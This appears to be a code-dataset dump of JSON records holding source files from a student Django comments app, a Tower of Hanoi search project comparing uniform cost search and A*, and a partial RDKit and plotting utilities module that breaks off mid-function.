[ { "alpha_fraction": 0.7272727489471436, "alphanum_fraction": 0.7272727489471436, "avg_line_length": 23.75, "blob_id": "1ec92575c3e274a5a1a9cf2f2222adf37cb2f9de", "content_id": "a7a56e58e521b2dfffcf29e72c1ae46a9cb20c49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 99, "license_type": "no_license", "max_line_length": 40, "num_lines": 4, "path": "/Tarea1/T1/comments/forms.py", "repo_name": "tcgarrido/IIC2173_T1", "src_encoding": "UTF-8", "text": "from django import forms\n\nclass CommentsForm(forms.Form):\n Your_Comment = forms.CharField()\n" }, { "alpha_fraction": 0.634441077709198, "alphanum_fraction": 0.670694887638092, "avg_line_length": 32.099998474121094, "blob_id": "8f724ab586abd2928ff0df995020e3f7ea0e5e8f", "content_id": "07a86a03fd17def6d2c13bc3708280a3a026736e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 331, "license_type": "no_license", "max_line_length": 72, "num_lines": 10, "path": "/Tarea1/T1/comments/models.py", "repo_name": "tcgarrido/IIC2173_T1", "src_encoding": "UTF-8", "text": "from django.db import models\n\n# Create your models here.\nclass CreateComment(models.Model):\n date = models.DateTimeField(auto_now_add=True)\n content = models.CharField(max_length=200)\n server_IP = models.GenericIPAddressField(default=\"146.155.13.189\")\n\n def __str__(self):\n return self.content\n" }, { "alpha_fraction": 0.6718913316726685, "alphanum_fraction": 0.6718913316726685, "avg_line_length": 28.90625, "blob_id": "2974b047e0dbaecec970a1093a44e84de9a9c932", "content_id": "de6d90adccb16c8770240781b2a85aff22d55151", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 957, "license_type": "no_license", "max_line_length": 69, "num_lines": 32, "path": "/Tarea1/T1/comments/views.py", "repo_name": "tcgarrido/IIC2173_T1", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.utils import timezone\nfrom django.template import loader\nfrom .forms import CommentsForm\nfrom .models import CreateComment\n\n# Create your views here.\ndef home(request):\n comments_list = CreateComment.objects.order_by('-date')\n template = loader.get_template('comments/home.html')\n\n if request.method == 'POST':\n form = CommentsForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data['Your_Comment']\n date = timezone.now()\n form = new(data,date, request.META.get('REMOTE_ADDR'))\n else:\n form = CommentsForm()\n\n context = {\n 'comments_list': comments_list,\n 'form': form\n }\n return HttpResponse(template.render(context, request))\n\n\ndef new(content, date, ip):\n comment = CreateComment(content=content, date=date, server_IP=ip)\n comment.save()\n return CommentsForm()\n" }, { "alpha_fraction": 0.5101010203361511, "alphanum_fraction": 0.5959596037864685, "avg_line_length": 21, "blob_id": "08c233d47f774ef525af6274d007d5a9ff371a9e", "content_id": "c5d6e3fbfb18ed6fc33b77bd4dcb53a54d2e399b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 396, "license_type": "no_license", "max_line_length": 51, "num_lines": 18, "path": "/Tarea1/T1/comments/migrations/0003_auto_20180912_0036.py", "repo_name": "tcgarrido/IIC2173_T1", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-09-12 03:36\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('comments', '0002_auto_20180912_0035'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='createcomment',\n name='content',\n field=models.CharField(max_length=250),\n ),\n ]\n" }, { "alpha_fraction": 0.7160338759422302, "alphanum_fraction": 0.7533730864524841, "avg_line_length": 27.711711883544922, "blob_id": "46f228503d13bdfaf7e8406652db28aec0a20960", "content_id": "d737d25bce274dc6f09a52f8f582f4df9556f5da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3247, "license_type": "no_license", "max_line_length": 168, "num_lines": 111, "path": "/README.md", "repo_name": "tcgarrido/IIC2173_T1", "src_encoding": "UTF-8", "text": "**Comandos iniciales y pasos relevantes**\n\n\t#Instalación de paquetes\n\tpip3 install virtualenv\n\tcd Tarea1\n\tvirtualenv env --python=python3.6\n\tsource ./env/bin/activate\n\tpip install Django\n\tpip install psycopg2\n\t\n\t\n\t#Creación del proyecto\n\tdjango-admin startproject T1\n\tcd T1\n\tpython manage.py startapp comments\n\tbrew install postgresql\n\t\n\t\n\t#Creación de db y usuario\n\tpsql\n\tCREATE USER <user> WITH PASSWORD ‘<password>’;\n\tCREATE DATABASE <db> WITH OWNER = <user>;\n\tGRANT ALL PRIVILEGES ON DATABASE data TO <db>;\n\t\n\t\n\t#Configuración db\n\tDATABASES = {\n\t ‘default’ {\n\t ‘ENGINE’ ‘django.db.backends.postgresql_psycopg2’,\n\t ‘NAME’ ‘<db>’,\n\t ‘USER’ ‘<user>’,\n\t ‘PASSWORD’ ‘<password>’,\n\t ‘HOST’ ‘localhost’,\n\t ‘PORT’ ‘’,\n\t }\n\t}\n\t\n\t\n\t#Manejo db\n\tpython manage.py makemigrations\n\tpython manage.py migrate\n\tpython3 manage.py createsuperuser\n\tpython3 manage.py runserver\n\t\n\t\n\t#Deploy\n\tsudo apt install python3\n\tsudo python3 -m http.server 80\n\tcharette17.ing.puc.cl #funciona\n\tgit clone https://github.com/tcgarrido/IIC2173_T1.git Tarea1\n\tsudo apt install python3-pip\n\tsudo python3 -m pip install django\n\tsudo python3 manage.py runserver 80 #error\n\tsudo python3 -m pip install -r requirements.txt \n\t\n\t\n\n**Referencias principales**\n\n* Django Tutorials by Max Goodridge: \nhttps://www.youtube.com/playlist?list=PLw02n0FEB3E3VSHjyYMcFadtQORvl1Ssj\n\n* Creating user, database and adding access on PostgreSQL: \nhttps://medium.com/coding-blocks/creating-user-database-and-adding-access-on-postgresql-8bfcd2f4a91e\n\n* Migraciones: \nhttps://docs.djangoproject.com/en/1.8/intro/tutorial01/\n\n* Forms: https://docs.djangoproject.com/en/2.1/topics/forms/\n\n* Forms 2: https://tutorial.djangogirls.org/es/django_forms/\n\n* Views: \nhttps://docs.djangoproject.com/es/2.1/intro/tutorial03/\n\n* Index View: \nhttps://stackoverflow.com/questions/5823580/django-form-resubmitted-upon-refresh\n\n* Modelo de comentario: \nhttps://tutorial-extensions.djangogirls.org/en/homework_create_more_models/\n\n* Adduser server:\nhttps://ubuntuforums.org/showthread.php?t=2130483\n\n* Create postgres db: \nhttps://www.digitalocean.com/community/tutorials/how-to-use-postgresql-with-your-django-application-on-ubuntu-14-04\n\n* Get date: \nhttps://stackoverflow.com/questions/3429878/automatic-creation-date-for-django-model-form-objects\n\n* Get user IP: \nhttps://stackoverflow.com/questions/48277696/get-current-server-ip-or-domain-in-django\n\n* Get user IP address: \nhttps://stackoverflow.com/questions/23463599/how-to-store-ip-address-in-the-database-and-django-admin/23465544\n\n* GenericIPAddressField: \nhttps://stackoverflow.com/questions/41123659/django-ipv4-only-for-genericipaddressfield\n\n* Zona horaria: \nhttps://docs.djangoproject.com/zh-hans/2.1/_modules/pytz/\n\n* Commands ssh:\nhttps://documentation.codeship.com/basic/continuous-deployment/deployment-with-ftp-sftp-scp/#run-commands-on-a-remote-server-via-ssh\n\n* Deploy:\nhttps://www.digitalocean.com/community/tutorials/how-to-set-up-django-with-postgres-nginx-and-gunicorn-on-ubuntu-16-04#install-the-packages-from-the-ubuntu-repositories\n\n**Vista previa**\n\n![alt text](https://raw.githubusercontent.com/tcgarrido/IIC2173_T1/master/image.png)\n" }, { "alpha_fraction": 0.5101010203361511, "alphanum_fraction": 0.5959596037864685, "avg_line_length": 21, "blob_id": "27414cb993aa55586e83b20761b38313cb779e97", "content_id": "6957a31186c4ad0ebbfc939726ec187554cd3790", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 396, "license_type": "no_license", "max_line_length": 51, "num_lines": 18, "path": "/Tarea1/T1/comments/migrations/0004_auto_20180912_0208.py", "repo_name": "tcgarrido/IIC2173_T1", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-09-12 05:08\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('comments', '0003_auto_20180912_0036'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='createcomment',\n name='content',\n field=models.CharField(max_length=200),\n ),\n ]\n" } ]
6
Abdel-Nasser-Ateeq/Searching-Algorithms
https://github.com/Abdel-Nasser-Ateeq/Searching-Algorithms
53ca9491108bc0ef6e700a33c3a7c83c915fb928
e79c0722a59ade46c419b67faddda8f10d457179
b3b7e12aea110f34360ea7a6274e4b4f1ce537b5
refs/heads/main
2023-03-21T00:43:46.427026
2021-03-19T11:37:15
2021-03-19T11:37:15
349,396,893
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.557701587677002, "alphanum_fraction": 0.5681313276290894, "avg_line_length": 34.84341812133789, "blob_id": "1d07ef3d1ac805f5b4ebf19926dd74e274dbd6ba", "content_id": "e4e79adb738bcb3477a8ef1b4cc386d68d29b3c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10355, "license_type": "no_license", "max_line_length": 109, "num_lines": 281, "path": "/UCS Vs A-star.py", "repo_name": "Abdel-Nasser-Ateeq/Searching-Algorithms", "src_encoding": "UTF-8", "text": "import copy\r\nimport string\r\nstring.ascii_uppercase\r\nglobal Largest_list\r\nclass Node:\r\n def __init__(self):\r\n self.state = []\r\n self.cost = 0\r\n self.parent = None\r\n self.action = \"\"\r\n self.heuristic = (2*disks_num)+1\r\n\r\n\r\nclass PriorityQueue(object):\r\n\tdef __init__(self):\r\n\t\tself.queue = []\r\n\r\n\tdef __str__(self):\r\n\t\treturn ' '.join([str(i) for i in self.queue])\r\n\r\n\t# for checking if the queue is empty\r\n\tdef isEmpty(self):\r\n\t\treturn len(self.queue) == 0\r\n\r\n\t# for inserting an element in the queue\r\n\tdef insert(self, data):\r\n\t\tself.queue.append(data)\r\n\r\n\t# for popping an element based on Priority\r\n\tdef delete(self):\r\n\t\ttry:\r\n\t\t\tmin = 0\r\n\t\t\tfor i in range(len(self.queue)):\r\n\t\t\t\tif self.queue[i].cost < self.queue[min].cost:\r\n\t\t\t\t\tmin = i\r\n # item is the object with the lowest cost\r\n\t\t\titem = self.queue[min]\r\n # delete the item (one with the lowest cost)\r\n\t\t\tdel self.queue[min]\r\n # and expand to its children\r\n\t\t\treturn item\r\n\t\texcept IndexError:\r\n\t\t\tprint()\r\n\t\t\texit()\r\n\r\n\r\ndef give_next(initial,heu):\r\n visited_before = []\r\n copy_init = copy.deepcopy(initial.state)\r\n\r\n for indx,block in enumerate(initial.state):\r\n copy_init = copy.deepcopy(initial.state)\r\n\r\n '''\r\n If block is empty move to the next block\r\n '''\r\n if not block: # empty?\r\n continue # change the block\r\n elif block: # full?\r\n packet = copy_init[indx][0]\r\n sender_position = indx\r\n # True if there is an empty sublist\r\n x = [True for i in initial.state if len(i) == 0]\r\n # Enter if there is no empty sublist\r\n if not any(x):\r\n if packet > max([0 if sublist == block else sublist[-1] for sublist in initial.state]):\r\n continue\r\n copy_init[indx].remove(packet)\r\n ''' Check the Cost to take a disk out from this stack'''\r\n\r\n ''' Create the action statement-phase1-'''\r\n act = \"Move Disk \"+str(packet)+\" From Stack \"+alphabet_list[indx]\r\n\r\n '''\r\n After this step, a disk is selected to be moved\r\n '''\r\n for indx2, position in enumerate(initial.state):\r\n copy_init2 = copy.deepcopy(copy_init)\r\n '''\r\n There are four cases:\r\n 1. new postion is the old position So Change the position\r\n 2. position is empty So add at index 0\r\n 3. position is full with elements > packet So add at index 0\r\n 4. position is full with elements < packet So Change the position \r\n '''\r\n if block == position:\r\n continue # Don't return the disk to the first place !!\r\n elif not position: # empty?\r\n copy_init2[indx2].insert(0,packet)\r\n\r\n elif position[-1] > packet:\r\n copy_init2[indx2].insert(0,packet)\r\n\r\n elif position[-1] < packet:\r\n continue # Not allowed movment, SO change the block\r\n\r\n '''\r\n # Check if the predicted step is in the Largest_list:\r\n # if YES: change the block, in a try to predict a new step\r\n # if NO: add the step to the Largest_list and finish\r\n '''\r\n if copy_init2 in Largest_list:\r\n continue\r\n elif copy_init2 not in Largest_list:\r\n Largest_list.insert(-1, copy_init2)\r\n ''' Check the Cost to reach this state'''\r\n pay = 0\r\n if indx in wide_stacks and indx2 in wide_stacks:\r\n pay += 4\r\n elif indx not in wide_stacks and indx2 not in wide_stacks :\r\n pay += 2\r\n else:\r\n pay += 3\r\n ''' Create the action statement-phase2-'''\r\n ion = \" to Stack \"+ alphabet_list[indx2]\r\n # new child from Node()\r\n child = Node()\r\n child.parent = initial\r\n child.cost = pay\r\n child.state = copy_init2\r\n child.action = act + ion\r\n '''Calculate the heuristc value:'''\r\n if heu == 0 :\r\n q1.insert(child)\r\n elif heu == 1 :\r\n dest_block = goal[Final_disks_position]\r\n # Num of disks in its required position\r\n dest_block_len = len(dest_block)\r\n # Num of disks need to move to its required position\r\n dest_block_len = disks_num - dest_block_len\r\n child.heuristic = 2**dest_block_len-1\r\n child.cost += child.heuristic\r\n q2.insert(child)\r\n if heu == 2:\r\n dest_block = goal[Final_disks_position]\r\n # Num of disks in its required position\r\n dest_block_len = len(dest_block)\r\n # Num of disks need to move to its required position\r\n dest_block_len = disks_num - dest_block_len\r\n empty_wide = [True for i in wide_stacks if len(copy_init2[i]) == 0]\r\n if any(empty_wide):\r\n # probability of moving a disk to an empty wide stack\r\n probability = len(empty_wide) / (stacks_num-1)\r\n else:\r\n # probability of moving a disk to/from a non-empty wide stack\r\n probability = 0\r\n for el in wide_stacks:\r\n for inx,ii in enumerate(copy_init2):\r\n if inx== el or packet < copy_init2[el][0]:\r\n probability = probability + (1/(stacks_num-1))\r\n child.heuristic = probability\r\n # add the heuristic value to the cost\r\n child.cost += child.heuristic\r\n q3.insert(child)\r\n # else:\r\n\r\n\r\n\r\ndef collect_info():\r\n global wide_stacks, alphabet_list, current, goal, disks_num, Final_disks_position, stacks_num\r\n stacks_num = int(input(\"The number of stacks (3 to 6): \"))\r\n disks_num = int(input(\"The number of disks (3 to 10): \"))\r\n\r\n alphabet_list = list(string.ascii_uppercase[:stacks_num])\r\n wide_stacks = input(\"Which are the wide stacks? \"+str(alphabet_list)+\": \")\r\n wide_stacks = wide_stacks.split(\",\")\r\n\r\n current_state = input(\"Which is the current state? \"+str(alphabet_list)+\": \")\r\n current_state = current_state.upper()\r\n\r\n goal_state = input(\"Which is the goal state? \"+str(alphabet_list)+\": \")\r\n goal_state = goal_state.upper()\r\n\r\n ''' Manipulate Information'''\r\n all_disks = [num for num in range(1, disks_num + 1)]\r\n # Map alphabet input to list of lists \"Current\"\r\n Initial_disks_position = alphabet_list.index(current_state)\r\n # Map alphabet input to list of lists \"goal\"\r\n Final_disks_position = alphabet_list.index(goal_state)\r\n # Current and goal states as list of lists\r\n current = [all_disks if inx == Initial_disks_position else [] for inx,_ in enumerate(range(stacks_num))]\r\n goal = [all_disks if inx == Final_disks_position else [] for inx,_ in enumerate(range(stacks_num))]\r\n # Map the wide_stacks in its alphabet form to its numeric form\r\n wide_stacks = [i for i,_ in enumerate(alphabet_list) if _ in wide_stacks]\r\n\r\n\r\n''' Run the UCS Algorithm:'''\r\n# Require the user to enter the info:\r\ncollect_info()\r\n# Create the node (obj) that holds the initial state\r\nn1 = Node()\r\nn1.state = current\r\n# Create a queue obj to handle the objects based on the cost\r\nq1 =PriorityQueue()\r\n# insert the current state to the queue\r\nq1.insert(n1)\r\n# Expand the current state\r\nLargest_list = []\r\ngive_next(n1,0)\r\n# return the obj with the least cost\r\nleast = q1.delete()\r\nwhile least.state != goal:\r\n least = q1.delete()\r\n give_next(least,0)\r\n\r\n# trace back to reach the root\r\npar = copy.deepcopy(least)\r\nlist_of_actions = []\r\nwhile par != None:\r\n # save the parent of the current node in par\r\n list_of_actions.insert(0, par.action)\r\n par = par.parent\r\n\r\nfile_handler = open(\"movements.txt\",\"w+\")\r\nfile_handler.write(\"Follow these steps to reach the goal:\")\r\nfor stmt in list_of_actions:\r\n file_handler.write(stmt+\"\\n\")\r\nfile_handler.close()\r\nprint(\"--\"*20)\r\nprint(\"Uniform Cost Search Algorithm:\")\r\nprint(\"The number of expanded nodes is:\",len(Largest_list))\r\nprint(\"--\"*20)\r\n''' Run the A* Algorithm (1st heurstic):'''\r\n# Create the node (obj) that holds the initial state\r\nn2 = Node()\r\nn2.state = current\r\n# Create a queue obj to handle the objects based on the cost\r\nq2 =PriorityQueue()\r\n# insert the current state to the queue\r\nq2.insert(n2)\r\n# Expand the current state\r\nLargest_list = []\r\ngive_next(n2,1)\r\n# return the obj with the least cost\r\nleast = q2.delete()\r\nwhile least.state != goal:\r\n least = q2.delete()\r\n give_next(least,1)\r\n\r\n# trace back to reach the root\r\npar = copy.deepcopy(least)\r\nlist_of_actions = []\r\nwhile par != None:\r\n # save the parent of the current node in par\r\n list_of_actions.insert(0, par.action)\r\n par = par.parent\r\n\r\nprint(\"A* Algorithm (1st heurstic):\")\r\nprint(\"Depending on the number of disks \"+\"\\n\"+\"that not in the goal stack as a heurstic value\")\r\nprint(\"The number of expanded nodes is:\", len(Largest_list))\r\nprint(\"--\"*20)\r\n\r\n''' Run the A* Algorithm (2nd heurstic):'''\r\n# Create the node (obj) that holds the initial state\r\nn3 = Node()\r\nn3.state = current\r\n# Create a queue obj to handle the objects based on the cost\r\nq3 =PriorityQueue()\r\n# insert the current state to the queue\r\nq3.insert(n3)\r\n# Expand the current state\r\nLargest_list = []\r\ngive_next(n3,2)\r\n# return the obj with the least cost\r\nleast = q3.delete()\r\nwhile least.state != goal:\r\n least = q3.delete()\r\n give_next(least,2)\r\n\r\n# trace back to reach the root\r\npar = copy.deepcopy(least)\r\nlist_of_actions = []\r\nwhile par != None:\r\n # save the parent of the current node in par\r\n list_of_actions.insert(0, par.action)\r\n par = par.parent\r\n\r\nprint(\"A* Algorithm (2nd heurstic):\")\r\nprint(\"Depending on the possibility of moving\"+\"\\n\"+\"a disk from/to a wide stack as a heurstic value\")\r\nprint(\"The number of expanded nodes is:\", len(Largest_list))\r\nprint(\"--\"*20)\r\n\r\n" }, { "alpha_fraction": 0.6981852650642395, "alphanum_fraction": 0.7163323760032654, "avg_line_length": 36.39285659790039, "blob_id": "33f1567d486cf3900e49eb330ad200d8e0d185af", "content_id": "f22c2598b4ffa51bed03a7f3fd236aba9be7b8aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1047, "license_type": "no_license", "max_line_length": 142, "num_lines": 28, "path": "/README.md", "repo_name": "Abdel-Nasser-Ateeq/Searching-Algorithms", "src_encoding": "UTF-8", "text": "# Searching-Algorithms\nSearching-Algorithms\n\nThis project is trying to solve the Tower of Hanoi problem using Uniform Cost Search (UCS) and A* algorithms.\n\nThis project presents a general form for the ToH problem by the following:\n\n 1. We might have from 3 to 6 stacks.\n 2. We might have from 3 to 10 disks.\n 3. There are 2 types of stacks:\n a. Wide stacks: the cost of taking the upper disk or placing a disk on top of such stacks is 2.\n b. Narrow stacks: the cost of taking the upper disk or placing a disk on top of such stacks is 1.\n\nThe input is:\n\n 1. The Number of stacks.\n 2. The Number of Disks.\n 3. The goal state.\n 4. The current state.\n 5. Which stacks are wide.\n\nThe output is:\n \n 1. A list of all movements from the start state to the goal state.\n 2. The number of nodes expanded from the fringe until the goal is reached for each algorithm.\n\n\nNote: This is the 1st version of the project. The A* algorithm needs to be updated to calculate the total cost instead of the subsequent cost.\n" } ]
2
masterfreddyboy123/brdfinator
https://github.com/masterfreddyboy123/brdfinator
c1d391ccb60b197834fe1ad452f7ca40c2d5468b
14e174cd96ef70dcecb6bc1b71c44b1efbf466bf
697839266b707876eff7e3d4357f5815e040b5b1
refs/heads/master
2021-01-18T07:53:43.328207
2012-01-26T23:59:59
2012-01-26T23:59:59
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5732454061508179, "alphanum_fraction": 0.5831370949745178, "avg_line_length": 34.349998474121094, "blob_id": "197316d778219d63f10e4cc706e104e56fdf5a3c", "content_id": "e581b1b77d9627c1f3ba1b42938e2532de7bc8fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2123, "license_type": "no_license", "max_line_length": 91, "num_lines": 60, "path": "/tools/geometry.py", "repo_name": "masterfreddyboy123/brdfinator", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport numpy as np\nfrom math import pi, sqrt, sin, cos, acos, atan2\n\ndef rotation_to_sample(roll, pitch):\n '''generate a rotation matrix to transform into the frame of the sample\n given the pitch and roll angle'''\n r = np.array([[ cos(roll), -sin(roll), 0],\n [cos(pitch)*sin(roll), cos(pitch)*cos(roll), -sin(pitch)],\n [sin(pitch)*sin(roll), sin(pitch)*cos(roll), cos(pitch)]])\n return r\n\ndef cartesian_to_spherical(v):\n '''convert a vector in cartesian coordinates (x, y, z) to spherical\n coordinates (r, theta, phi)'''\n x, y, z = v\n r = sqrt(x*x + y*y + z*z)\n theta = acos(z/r)\n phi = atan2(y, x)\n return np.array([r, theta, phi])\n\ndef spherical_to_cartesian(v):\n '''convert a vector in spherical coordinates (r, theta, phi) to cartesian\n coordinates (x, y, z)'''\n r, theta, phi = v\n x = r * sin(theta) * cos(phi)\n y = r * sin(theta) * sin(phi)\n z = r * cos(theta)\n return np.array([x, y, z])\n\ndef calculate_brdf_angles(arm_length_source, arm_length_sensor, source_angle,\n sensor_angle, sample_pitch, sample_roll):\n '''find incoming and outgoing ray angles (theta_r, phi_r, theta_i, phi_i)\n given the experiment geometry'''\n source_pos = np.array([sin(source_angle), 0.0, cos(source_angle)]) * arm_length_source\n sensor_pos = np.array([-sin(sensor_angle), 0.0, cos(sensor_angle)]) * arm_length_sensor\n\n r = rotation_to_sample(sample_roll, sample_pitch)\n\n vi = np.dot(r, source_pos)\n vr = np.dot(r, sensor_pos)\n\n ai = cartesian_to_spherical(vi)\n ar = cartesian_to_spherical(vr)\n\n return (ar[1], ar[2], ai[1], ai[2])\n\nif __name__ == '__main__':\n arm_length_source = arm_length_sensor = 1.0\n source_angle = 0.0\n sensor_angle = 0.0\n sample_pitch = 0.0\n sample_roll = 0.0\n\n angles = calculate_brdf_angles(arm_length_source, arm_length_sensor,\n source_angle, sensor_angle,\n sample_pitch, sample_roll)\n\n print '(tr, pr, ti, pi) =', angles\n\n\n" } ]
1
Jo-Hyung-Sik/GCN-HS
https://github.com/Jo-Hyung-Sik/GCN-HS
7e18672ab063164f50373ccedfa49eeef1f83724
de0239bfe4326ed37105dff66d409e890a33b5e9
55cea31d09880897bb5fdb799a53a82a26041606
refs/heads/master
2020-12-05T20:09:54.448665
2020-01-07T03:27:30
2020-01-07T03:27:30
232,234,247
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6842105388641357, "alphanum_fraction": 0.6842105388641357, "avg_line_length": 8.5, "blob_id": "62df18b3cacd5a627e8c4e2f9567a2eaee4331ac", "content_id": "b3819c5d89075d1e1bc0d82f30b1b615a41c3627", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 19, "license_type": "no_license", "max_line_length": 9, "num_lines": 2, "path": "/README.md", "repo_name": "Jo-Hyung-Sik/GCN-HS", "src_encoding": "UTF-8", "text": "# GCN-HS\nutil file\n" }, { "alpha_fraction": 0.5474094748497009, "alphanum_fraction": 0.5661469101905823, "avg_line_length": 36.33333206176758, "blob_id": "abce0d5c738c9d69272f52a633b732b8386a7abf", "content_id": "b55abddc3198adc647a930655c977421337e268f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7952, "license_type": "no_license", "max_line_length": 122, "num_lines": 213, "path": "/utils.py", "repo_name": "Jo-Hyung-Sik/GCN-HS", "src_encoding": "UTF-8", "text": "import os\nimport numpy as np\nfrom rdkit import Chem, DataStructs\nfrom rdkit.Chem import AllChem\nfrom rdkit.Chem.Crippen import MolLogP\nfrom rdkit.Chem.rdMolDescriptors import CalcTPSA\nfrom torch.utils.data import Dataset\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split, KFold\n\n \nfrom decimal import Decimal\nimport json \nfrom os import listdir\nfrom os.path import isfile, join\nimport pandas as pd\nimport hashlib\n\nclass Writer():\n \n def __init__(self, prior_keyword=[], dir='./results'):\n self.prior_keyword = prior_keyword\n self.dir = dir\n \n def generate_hash(self, args):\n str_as_bytes = str.encode(str(args))\n hashed = hashlib.sha256(str_as_bytes).hexdigest()[:24]\n return hashed\n\n def write(self, args, prior_keyword=None):\n dict_args = vars(args)\n if 'bar' in dict_args:\n #del dict_args['bar']\n pass\n \n if prior_keyword:\n self.prior_keyword = prior_keyword\n filename = 'exp_{}'.format(args.exp_name)\n for keyword in self.prior_keyword:\n value = str(dict_args[keyword])\n if value.isdigit():\n filename += keyword + ':{:.2E}_'.format(Decimal(dict_args[keyword]))\n else:\n filename += keyword + ':{}_'.format(value)\n# hashcode = self.generate_hash(args)\n# filename += hashcode\n filename += '.json'\n \n with open(self.dir+'/'+filename, 'w') as outfile:\n json.dump(dict_args, outfile)\n \n def read(self, exp_name=''):\n list_result = list()\n filenames = [f for f in listdir(self.dir) if isfile(join(self.dir, f))]\n for filename in filenames:\n with open(join(self.dir, filename), 'r') as infile:\n result = json.load(infile)\n if len(exp_name) > 0:\n if result['exp_name'] == exp_name:\n list_result.append(result)\n else:\n list_result.append(result)\n \n return pd.DataFrame(list_result)\n \n def clear(self, exp_name=''):\n filenames = [f for f in listdir(self.dir) if isfile(join(self.dir, f))]\n for filename in filenames:\n if len(exp_name) > 0:\n result = json.load(open(join(self.dir, filename), 'r'))\n if result['exp_name'] == exp_name:\n os.remove(join(self.dir, filename))\n else:\n os.remove(join(self.dir, filename))\n \n \n \nimport matplotlib.pyplot as plt\nfrom matplotlib import gridspec\nfrom matplotlib.font_manager import FontProperties\nimport seaborn as sns\n\n\ndef generate_setting(args, var1, var2):\n dict_args = vars(args)\n output = '{:92}'.format('[Exp Settings]') + '\\n'\n output += '-'*91 + '\\n'\n\n num_var = 3\n cnt_var = 0\n for keyword, value in dict_args.items():\n if keyword != var1 and keyword != var2 and type(value) != list and not 'best' in keyword and keyword != 'elapsed':\n str_value = str(value)\n if str_value.isdigit():\n if type(value) == float:\n temp = '| {}={:.2E}'.format(keyword, Decimal(dict_args[keyword]))\n if type(value) == int:\n temp = '| {}={}'.format(keyword, str_value[:15])\n\n else:\n temp = '| {}={}'.format(keyword, str_value[:15])\n output += '{:<30}'.format(temp[:30])\n cnt_var += 1\n if cnt_var % num_var == 0:\n cnt_var = 0\n output += '|\\n'\n output += '-'*91 + '\\n'\n return output\n\ndef plot_performance(results, variable1, variable2, args, title='', filename=''):\n fig, ax = plt.subplots(1, 2)\n\n fig.set_size_inches(30, 12)\n sns.set_style(\"darkgrid\", {\"axes.facecolor\": \".9\"})\n sns.barplot(x=variable1, y='best_mae', hue=variable2, data=results, ax=ax[0])\n sns.barplot(x=variable1, y='best_std', hue=variable2, data=results, ax=ax[1])\n\n font = FontProperties()\n font.set_family('monospace')\n font.set_size('large')\n alignment = {'horizontalalignment': 'center', 'verticalalignment': 'baseline'}\n fig.text(0.5, -0.6, generate_setting(args, variable1, variable2), fontproperties=font, **alignment)\n \n fig.suptitle(title)\n filename = filename if len(filename) > 0 else title\n plt.savefig('./images/{}.png'.format(filename))\n \n \ndef plot_distribution(results, variable1, variable2, x='true_y', y='pred_y', title='', filename='', **kwargs):\n list_v1 = results[variable1].unique()\n list_v2 = results[variable2].unique()\n list_data = list()\n for value1 in list_v1:\n for value2 in list_v2:\n row = results.loc[results[variable1]==value1]\n row = row.loc[results[variable2]==value2]\n\n best_true_y = list(row.best_true_y)[0]\n best_pred_y = list(row.best_pred_y)[0]\n for i in range(len(best_true_y)):\n list_data.append({x:best_true_y[i], y:best_pred_y[i], variable1:value1, variable2:value2})\n df = pd.DataFrame(list_data)\n\n g = sns.FacetGrid(df, row=variable2, col=variable1, margin_titles=True)\n g.map(plt.scatter, x, y, alpha=0.3)\n\n def identity(**kwargs):\n plt.plot(np.linspace(-1.5,4,50), np.linspace(-1.5,4,50),'k',linestyle='dashed')\n g.map(identity)\n g.set_axis_labels(x, y)\n g.fig.suptitle(title) # can also get the figure from plt.gcf()\n plt.subplots_adjust(top=kwargs.get('top',0.93))\n filename = filename if len(filename) > 0 else title\n plt.savefig('./images/{}.png'.format(filename))\n \n \ndef plot_loss(results, variable1, variable2, x='true_y', y='pred_y', title='', filename='', **kwargs):\n list_v1 = results[variable1].unique()\n list_v2 = results[variable2].unique()\n list_data = list()\n for value1 in list_v1:\n for value2 in list_v2:\n row = results.loc[results[variable1]==value1]\n row = row.loc[results[variable2]==value2]\n\n train_losses = list(row.train_losses)[0]\n val_losses = list(row.val_losses)[0]\n maes = list(row.maes)[0]\n \n for item in train_losses:\n item.update({'type':'train', 'loss':item['train_loss'], variable1:value1, variable2:value2})\n \n for item in val_losses:\n item.update({'type':'val', 'loss':item['val_loss'], variable1:value1, variable2:value2})\n \n for item in maes:\n item.update({'type':'mae', variable1:value1, variable2:value2})\n list_data += train_losses + val_losses + maes\n\n df = pd.DataFrame(list_data)\n temp_mae = df.loc[df['mae'] < df['mae'].quantile(0.98)]\n ymax = temp_mae['mae'].max()\n ymin = temp_mae['mae'].min()\n \n temp_loss = df.loc[df['loss'] < df['loss'].quantile(0.98)]\n lossmax = temp_loss['loss'].max()\n lossmin = temp_loss['loss'].min()\n \n g = sns.FacetGrid(df, row=variable2, col=variable1, hue='type', margin_titles=False)\n axes = g.axes\n for i in range(len(axes)):\n for j in range(len(axes[0])):\n if i==0:\n g.axes[i][j].yaxis.set_label_coords(1.1,0.9)\n \n def mae_line(x, y, **kwargs):\n ax2 = 